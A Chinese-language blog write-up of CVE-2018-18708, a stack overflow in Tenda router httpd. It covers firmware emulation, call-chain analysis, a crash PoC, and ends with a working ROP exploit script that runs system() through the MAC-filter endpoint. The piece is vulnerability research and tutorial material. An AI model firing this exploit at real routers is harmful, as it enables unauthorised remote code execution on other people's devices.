CVE-2018-18708 Tenda路由器栈溢出分析


0x01 漏洞描述

CVE-2018-18708是Tenda路由器的httpd存在缓冲区溢出漏洞。可以利用该漏洞造成拒绝服务。

影响版本:

AC7 V15.03.06.44_CN
AC9 V15.03.05.19_CN
AC10 V15.03.06.23_CN
AC15 V15.03.05.19_CN
AC18 V15.03.05.19(6318)_CN

0x02 漏洞分析

固件模拟

US_AC15V1.0BR_V15.03.05.19_multi_TD01

提取固件

提取固件运行httpd可执行文件

binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin 

查看文件信息,是arm

qemu执行

cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd

会卡在Welcome to

patch

ida分析发现sub_2E420,发现welcome to之后有两处check,第一处check不通过会进入休眠状态,第二个检查连接情况,不通过会打印连接失败。

patch掉这两处的检测

patch掉之后继续执行

安装uml-utilities

sudo apt install uml-utilities

安装bridge-utils

https://mirrors.edge.kernel.org/pub/linux/utils/net/bridge-utils/bridge-utils-1.7.1.tar.xz
tar -xvf bridge-utils-1.7.1.tar.xz
autoconf
./configure
make
sudo make install

定位ip

搜索字符串Listen ip定位到sub_1B84C函数

分析调用链

sub_2E420 -> sub_2E9EC -> sub_29510 -> sub_29818 -> sub_1B84C

函数sub_29818调用了sub_1B84C

sudo chroot . ./qemu-arm-static -g 1111 ./bin/httpd
gdb-multiarch
set architecture arm
b*0x1B84C
target remote:1111

对ip参数v8进行定位

v8和s.sa_data[2]、a1有关

往上回溯,sub_29818调用了sub_1B84C,sub_29818的v8是了sub_1B84C的第一个参数a1

往上回溯到sub_2E420,ip的值与s和v19有关。

查看getIfIp

getIfIp为外部导入函数,位于libcommon.so中

ioctl有三个参数,第一个参数fd由socket()系统调用返回,第二个参数获取IP地址。第三个参数与getLanIfName函数有关。

因此函数整体流程为获取IP地址返回v2,v2的值为0不会进入if循环,ip的值由v19决定,v19是getIfIp函数的第二个参数v2,系统调用获取IP后赋给a2(v19)。

getLanIfName会调用get_eth_name函数,参数写死为0,get_eth_name在libChipApi.so中,查看libChipApi.so中的get_eth_name函数,函数返回v1,为网卡名称

添加网卡

因此整体流程为getLanIfName函数调用get_eth_name函数获取网卡名称,将网卡名称做为参数输入到getIfIp中。函数寻找名称为br0的网卡的ip地址传递给v19。因此让程序监听正确的ip地址需要新建br0网卡。

sudo brctl addbr br0 
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0

重新启动找到了br0网卡并获取了ip地址

调用链分析

函数调用关系:sub_2E420 ->  sub_2E9EC  ->  sub_42378  ->  formSetMacFilterCfg  ->  sub_C14DC  ->  sub_C17A0  ->  sub_C24C0
缓冲区:sub_C24C0函数中的缓冲区a2来自sub_C17A0的v12
字符串src:sub_2BA8C的返回值 -> formSetMacFilterCfg的v17 -> sub_C14DC的a2 -> sub_C17A0的a2 -> sub_C24C0的a1 -> src

sub_C24C0

漏洞点在sub_C24C0的strcpy函数

sub_C17A0

溢出字符串src是sub_C24C0函数的第一个参数a1,来自sub_C17A0的第二个参数a2

缓冲区a2是sub_C24C0函数的第二个参数a2,来自sub_C17A0的v12。

sub_C14DC

sub_C17A0的第二个参数a2来自sub_C14DC的第二个参数a2

formSetMacFilterCfg

formSetMacFilterCfg函数调用了sub_C14DC,sub_C14DC的第二个参数a2来自formSetMacFilterCfg的v17,v17是sub_2BA8C的返回值,程序获取到http请求的deviceList的值,传递给sub_C24C0函数的漏洞点。

调用链分支跳转

函数中有不同功能的处理函数,显示请求到指定路径会调用相应的处理函数。

进入formSetMacFilterCfg函数需要访问/goform/setMacFilterCfg

formSetMacFilterCfg

formSetMacFilterCfg函数存在两个分支,sub_C10D0和sub_C14DC

v19为0才会进入sub_C14DC函数,因此sub_C10D0的返回值需要为0

sub_C10D0

sub_C10D0的返回值为0需要输入的数据a1为black或者white

sub_C24C0

最终到达漏洞点之后会检测包含\r的字符串

抓包

访问 http://192.168.130.137/goform/setMacFilterCfg 抓包

返回{“errCode”:2}

formSetMacFilterCfg

进入formSetMacFilterCfg函数,查看setMacFilterCfg接口对应的处理过程。

调用了sub_2BA8C 和 sub_C10D0和sub_C10DC

sub_2BA8C获取前端传过来的表单中获取对应的值。之后传入sub_C210D0

之后会对v19进行判断

sub_C10D0

对传入的值进行strcmp比较,决定返回的值。

判断是black还是white,如果满足其中一个返回0,否则返回2。如果没有就会返回2,所以抓包返回结果为{“errCode”:2}

所以必须传参setMacFilterCfg为black或者white

sub_C14DC

第二个参数是需要有\n,并且返回其地址。

之后都会进入sub_C17A0函数

sub_C17A0

调用了sub_C24C0,将deviceList和v12传入

sub_C24C0

触发测试

sub_C24C0函数中的缓冲区a2来自sub_C17A0的v12,大小为176

根据http post请求内容构造

import requests
url = "http://192.168.130.137/goform/setMacFilterCfg"
cookie = {"Cookie":"password=csplqw"}
data = {"macFilterType": "black", "deviceList":"\r" +  "A" * 176 + "bbbb"}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)

测试

sudo chroot . ./qemu-arm-static -g 1111 ./bin/httpd

gdb-multiarch ./bin/httpd
target remote:1111

python poc.py

正好覆盖

0x03漏洞利用

保护

开启了NX保护

libc基址

strcpy函数下断点找函数地址,0x3fdda508

找偏移

算基址

0x3fdda508-3e508=0x3fd9C000

gadgets

ROPgadget --binary libc.so.0 --only "pop" | grep r3
ROPgadget --binary libc.so.0 | grep "mov r0, sp ; blx r3"

使用0x00018298 : pop {r3, pc}0x00040cb8 : mov r0, sp ; blx r3来构造rop。将第一个r3改成system_addr,将命令放在sp上,之后跳转到system_addr。

system

readelf -s libc.so.0 | grep system找system偏移

exp

payload结构:[offset,gadget1,system,gadget2]

import requests
from pwn import *
cmd = b"echo hello"
libc_base = 0x3fd9C000
system_offset = 0x005a270
gadget1_offset = 0x00018298
gadget2_offset = 0x00040cb8
system_addr = libc_base + system_offset
gadget1 = gadget1_offset + libc_base
gadget2 = gadget2_offset + libc_base
payload = b"A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.130.137/goform/setMacFilterCfg"
cookie = {"Cookie":"password=csplqw"}
data = {"macFilterType": "black", "deviceList":b"\r" + payload}
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)


文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录